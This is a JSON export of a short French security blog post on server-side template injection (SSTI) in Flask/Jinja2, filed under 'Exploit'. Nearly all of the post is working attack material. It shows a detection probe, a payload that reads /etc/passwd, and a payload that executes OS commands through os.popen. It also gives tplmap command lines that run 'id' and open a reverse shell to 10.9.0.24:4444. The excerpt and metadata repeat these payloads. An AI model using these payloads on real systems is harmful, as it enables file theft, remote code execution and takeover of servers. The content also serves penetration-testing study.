{"id":669,"date":"2021-07-28T10:31:30","date_gmt":"2021-07-28T15:31:30","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=669"},"modified":"2022-04-27T07:46:38","modified_gmt":"2022-04-27T12:46:38","slug":"vulnerabilite-ssti","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/vulnerabilite-ssti\/","title":{"rendered":"Vuln\u00e9rabilit\u00e9 SSTI"},"content":{"rendered":"<p>SSTI (Server Side Template Injection)<\/p>\n<p>Pour Flask, on peut v\u00e9rifier avec<\/p>\n<p><pre><code class=\"preserve-code-formatting\">\n{{2+2}}\n<\/code><\/pre><\/p>\n<p>Avec un r\u00e9sultat positif (4), on sait que le serveur est vuln\u00e9rable.<\/p>\n<p>On peut essayer de lire des fichiers avec ce payload<\/p>\n<p><code class=\"preserve-code-formatting\">{{ &#039;&#039;.__class__.__mro__[2].__subclasses__()[40](&#039;\/etc\/passwd&#039;).read() }}<\/code><\/p>\n<p>ou d&rsquo;ex\u00e9cuter du code<br \/>\n<code class=\"preserve-code-formatting\">{{config.__class__.__init__.__globals__[&#039;os&#039;].popen(&lt;command&gt;).read()}}<\/code><\/p>\n<p><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/Server%20Side%20Template%20Injection#basic-injection\">Pour une liste de payloads<\/a><\/p>\n<p>Il existe aussi un outil pour l&rsquo;automatisation : <a href=\"https:\/\/github.com\/epinna\/tplmap\">tplmap<\/a><\/p>\n<p>tplmap.py -u &lsquo;http:\/\/server\/ -d &lsquo;name&rsquo; &#8211;os-cmd &lsquo;id&rsquo; #exploite le param\u00e8tre POST &lsquo;name&rsquo; et ex\u00e9cute la commande &lsquo;id&rsquo;.<br \/>\ntplmap.py -u http:\/\/server -d &lsquo;name&rsquo; &#8211;reverse-shell 10.9.0.24 4444<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SSTI (Server Side Template Injection) Pour Flask, on peut v\u00e9rifier avec {{2+2}} Avec un r\u00e9sultat positif (4), on sait que le serveur est vuln\u00e9rable. On peut essayer de lire des fichiers avec ce payload {{ &#039;&#039;.__class__.__mro__.__subclasses__()(&#039;\/etc\/passwd&#039;).read() }} ou d&rsquo;ex\u00e9cuter du code {{config.__class__.__init__.__globals__.popen(&lt;command&gt;).read()}} Pour une liste de payloads Il existe aussi un outil pour l&rsquo;automatisation : tplmap tplmap.py -u &lsquo;http:\/\/server\/ -d &lsquo;name&rsquo; &#8211;os-cmd &lsquo;id&rsquo; #exploite le param\u00e8tre POST &lsquo;name&rsquo; et ex\u00e9cute la commande &lsquo;id&rsquo;. tplmap.py -u http:\/\/server -d &lsquo;name&rsquo; &#8211;reverse-shell 10.9.0.24 4444<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"class_list":["post-669","post","type-post","status-publish","format-standard","hentry","category-exploit"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Vuln\u00e9rabilit\u00e9 SSTI - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/vulnerabilite-ssti\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Vuln\u00e9rabilit\u00e9 SSTI - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"SSTI (Server Side Template Injection) Pour Flask, on peut v\u00e9rifier avec {{2+2}} Avec un r\u00e9sultat positif (4), on sait que le serveur est vuln\u00e9rable. On peut essayer de lire des fichiers avec ce payload {{ &#039;&#039;.__class__.__mro__.__subclasses__()(&#039;\/etc\/passwd&#039;).read() }} ou d&rsquo;ex\u00e9cuter du code {{config.__class__.__init__.__globals__.popen(&lt;command&gt;).read()}} Pour une liste de payloads Il existe aussi un outil pour l&rsquo;automatisation : tplmap tplmap.py -u &lsquo;http:\/\/server\/ -d &lsquo;name&rsquo; &#8211;os-cmd &lsquo;id&rsquo; #exploite le param\u00e8tre POST &lsquo;name&rsquo; et ex\u00e9cute la commande &lsquo;id&rsquo;. tplmap.py -u http:\/\/server -d &lsquo;name&rsquo; &#8211;reverse-shell 10.9.0.24 4444\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/28\/vulnerabilite-ssti\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-28T15:31:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-04-27T12:46:38+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/vulnerabilite-ssti\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/vulnerabilite-ssti\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Vuln\u00e9rabilit\u00e9 SSTI\",\"datePublished\":\"2021-07-28T15:31:30+00:00\",\"dateModified\":\"2022-04-27T12:46:38+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/vulnerabilite-ssti\\\/\"},\"wordCount\":87,\"commentCount\":0,\"articleSection\":[\"Exploit\"],\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/vulnerabilite-ssti\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/vulnerabilite-ssti\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/28\\\/vulnerabilite-ssti\\\/\",\"name\":\"Vuln\u00e9rabilit\u00e9 SSTI - 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